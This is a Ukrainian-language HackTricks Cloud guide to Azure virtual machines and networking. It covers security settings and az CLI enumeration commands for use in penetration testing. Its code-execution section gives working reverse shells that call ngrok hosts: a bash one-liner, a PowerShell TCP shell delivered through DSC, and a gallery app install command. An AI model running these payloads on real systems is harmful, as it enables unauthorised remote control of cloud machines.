Az - Віртуальні машини та мережа
Reading time: 25 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація про мережі Azure
Мережі Azure містять різні сутності та способи їх налаштування. Ви можете знайти короткі описи, приклади та команди перерахування різних сутностей мережі Azure в:
Основна інформація про ВМ
Віртуальні машини Azure (ВМ) є гнучкими, на вимогу хмарними серверами, які дозволяють запускати операційні системи Windows або Linux. Вони дозволяють розгортати програми та навантаження без управління фізичним обладнанням. Віртуальні машини Azure можуть бути налаштовані з різними параметрами ЦП, пам'яті та зберігання для задоволення конкретних потреб і інтеграції з сервісами Azure, такими як віртуальні мережі, зберігання та інструменти безпеки.
Налаштування безпеки
- Зони доступності: Зони доступності - це окремі групи дата-центрів у конкретному регіоні Azure, які фізично відокремлені, щоб мінімізувати ризик впливу кількох зон через локальні відключення або катастрофи.
- Тип безпеки:
- Стандартна безпека: Це тип безпеки за замовчуванням, який не вимагає жодного специфічного налаштування.
- Довірене завантаження: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot та віртуальний модуль безпечної платформи (vTPM).
- Конфіденційні ВМ: На додаток до довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування дисків та більше.
- Аутентифікація: За замовчуванням генерується новий SSH ключ, хоча можливо використовувати публічний ключ або попередній ключ, а ім'я користувача за замовчуванням - azureuser. Також можливо налаштувати використання пароля.
- Шифрування дисків ВМ: Диск за замовчуванням шифрується в спокої, використовуючи ключ, керований платформою.
- Також можливо увімкнути Шифрування на хості, де дані будуть зашифровані на хості перед відправкою до служби зберігання, забезпечуючи шифрування від кінця до кінця між хостом і службою зберігання (документація).
- Група безпеки мережі NIC:
- Немає: В основному відкриває кожен порт
- Базова: Дозволяє легко відкрити вхідні порти HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Розширена: Виберіть групу безпеки
- Резервне копіювання: Можливо увімкнути Стандартне резервне копіювання (один раз на день) та Розширене (кілька разів на день)
- Опції оркестрації патчів: Це дозволяє автоматично застосовувати патчі у ВМ відповідно до вибраної політики, як описано в документації.
- Сповіщення: Можливо автоматично отримувати сповіщення електронною поштою або через мобільний додаток, коли щось відбувається у ВМ. Правила за замовчуванням:
- Відсоток ЦП перевищує 80%
- Доступна пам'ять менше 1 ГБ
- Відсоток споживаних IOPS дисків даних перевищує 95%
- Відсоток споживаних IOPS ОС перевищує 95%
- Загальна мережа перевищує 500 ГБ
- Загальний вихід мережі перевищує 200 ГБ
- Показник доступності ВМ менше 1
- Монітор здоров'я: За замовчуванням перевіряє протокол HTTP на порту 80
- Замки: Дозволяє заблокувати ВМ, щоб її можна було лише читати (ReadOnly замок) або щоб її можна було читати та оновлювати, але не видаляти (CanNotDelete замок).
- Більшість ресурсів, пов'язаних з ВМ, також підтримують замки, такі як диски, знімки...
- Замки також можуть бути застосовані на рівнях групи ресурсів та підписки
Диски та знімки
- Можливо увімкнути приєднання диска до 2 або більше ВМ
- За замовчуванням кожен диск шифрується за допомогою ключа платформи.
- Те ж саме стосується знімків
- За замовчуванням можливо поділитися диском з усіх мереж, але його також можна обмежити лише певним приватним доступом або повністю відключити публічний та приватний доступ.
- Те ж саме стосується знімків
- Можливо згенерувати SAS URI (максимум на 60 днів) для експорту диска, який може бути налаштований на вимогу аутентифікації або ні
- Те ж саме стосується знімків
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Зображення, Галерея зображень та Точки відновлення
VM-образ - це шаблон, який містить операційну систему, налаштування додатків та файлову систему, необхідні для створення нової віртуальної машини (VM). Різниця між образом і знімком диска полягає в тому, що знімок диска є лише для читання, точковою копією одного керованого диска, що використовується в основному для резервного копіювання або усунення несправностей, тоді як образ може містити кілька дисків і призначений для використання як шаблон для створення нових VM.
Зображення можна керувати в розділі Зображення Azure або в галереях обчислень Azure, що дозволяє генерувати версії та ділитися образом між орендарями або навіть зробити його публічним.
Точка відновлення зберігає конфігурацію VM та точкові знімки, що відповідають додаткам, всіх керованих дисків, підключених до VM. Вона пов'язана з VM, і її мета - мати можливість відновити цю VM до стану, в якому вона була в той конкретний момент.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
Згідно з документацією: Site Recovery допомагає забезпечити безперервність бізнесу, підтримуючи роботу бізнес-додатків та навантажень під час відключень. Site Recovery реплікує навантаження, що працюють на фізичних та віртуальних машинах (VM), з основного сайту на вторинне місце. Коли відключення відбувається на вашому основному сайті, ви переходите на вторинне місце і отримуєте доступ до додатків звідти. Після того, як основне місце знову запрацює, ви можете повернутися до нього.
Azure Bastion
Azure Bastion забезпечує безпечний та безперешкодний Remote Desktop Protocol (RDP) та Secure Shell (SSH) доступ до ваших віртуальних машин (VM) безпосередньо через Azure Portal або через jump box. Завдяки усуненню необхідності в публічних IP-адресах на ваших VM.
Bastion розгортає підмережу під назвою AzureBastionSubnet
з маскою підмережі /26
у VNet, в якому потрібно працювати. Потім він дозволяє підключатися до внутрішніх VM через браузер за допомогою RDP
та SSH
, уникаючи відкриття портів VM в Інтернеті. Він також може працювати як jump host.
Щоб перерахувати всі Azure Bastion Hosts у вашій підписці та підключитися до VM через них, ви можете використовувати наступні команди:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Служба метаданих екземпляра Azure (IMDS) надає інформацію про запущені екземпляри віртуальних машин для допомоги в їх управлінні та налаштуванні. Вона пропонує деталі, такі як SKU, зберігання, мережеві конфігурації та інформацію про майбутні події технічного обслуговування через REST API, доступний за нерозподіленою IP-адресою 169.254.169.254, яка доступна лише зсередини ВМ. Зв'язок між ВМ та IMDS залишається в межах хоста, що забезпечує безпечний доступ. При запиті до IMDS HTTP-клієнти всередині ВМ повинні обходити веб-проксі для забезпечення належного зв'язку.
Більше того, для зв'язку з кінцевою точкою метаданих HTTP-запит повинен мати заголовок Metadata: true
і не повинен мати заголовок X-Forwarded-For
.
Перевірте, як його перерахувати в:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
Виконання коду у ВМ
Розширення ВМ
Розширення Azure ВМ - це невеликі програми, які забезпечують конфігурацію після розгортання та автоматизацію завдань на віртуальних машинах Azure (ВМ).
Це дозволить виконувати довільний код всередині ВМ.
Необхідний дозвіл - Microsoft.Compute/virtualMachines/extensions/write
.
Можна перерахувати всі доступні розширення за допомогою:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
Можливо запускати власні розширення, які виконують власний код:
- Виконати зворотний шелл
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Виконати скрипт, розташований в Інтернеті
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Відповідні розширення ВМ
Необхідний дозвіл все ще Microsoft.Compute/virtualMachines/extensions/write
.
Розширення VMAccess
Це розширення дозволяє змінювати пароль (або створювати, якщо він не існує) користувачів всередині Windows ВМ.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
Це розширення ВМ, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВМ. Тому його можна використовувати для виконання довільних команд у Windows ВМ через це розширення:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Гібридний робочий процес
Це розширення VM, яке дозволяє виконувати робочі процеси у VM з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу Automation Accounts.
Застосунки VM
Це пакети з усіма даними програми та скриптами для встановлення та видалення, які можна використовувати для легкого додавання та видалення програм у VM.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
Це шляхи, де програми завантажуються в файлову систему:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
- Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Перевірте, як встановити нові програми в https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
caution
Можливо ділитися окремими додатками та галереями з іншими підписками або орендарями. Що є дуже цікавим, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
Але немає "ринку" для vm додатків, як це є для розширень.
Необхідні дозволи:
Microsoft.Compute/galleries/applications/write
Microsoft.Compute/galleries/applications/versions/write
Microsoft.Compute/virtualMachines/write
Microsoft.Network/networkInterfaces/join/action
Microsoft.Compute/disks/write
Приклад експлуатації для виконання довільних команд:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Дані користувача
Це постійні дані, які можна отримати з кінцевої точки метаданих у будь-який час. Зверніть увагу, що в Azure дані користувача відрізняються від AWS та GCP, оскільки якщо ви помістите скрипт сюди, він не виконується за замовчуванням.
Користувацькі дані
Можливо передати деякі дані до VM, які будуть зберігатися в очікуваних шляхах:
- У Windows користувацькі дані розміщуються в
%SYSTEMDRIVE%\AzureData\CustomData.bin
як бінарний файл, і вони не обробляються. - У Linux вони зберігалися в
/var/lib/waagent/ovf-env.xml
, а тепер зберігаються в/var/lib/waagent/CustomData/ovf-env.xml
- Linux агент: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними
- cloud-init: За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в декількох форматах. Він може легко виконати скрипт, просто надіславши його в користувацьких даних.
- Я спробував, щоб і Ubuntu, і Debian виконували скрипт, який ви помістили сюди.
- Також не потрібно активувати дані користувача для виконання цього.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Запустити команду
Це найосновніший механізм, який Azure надає для виконання довільних команд у ВМ. Необхідне дозволи - Microsoft.Compute/virtualMachines/runCommand/action
.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Підвищення Привілеїв
Az - Virtual Machines & Network Privesc
Неавтентифікований Доступ
Після Експлуатації
Az - VMs & Network Post Exploitation
Постійність
Посилання
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.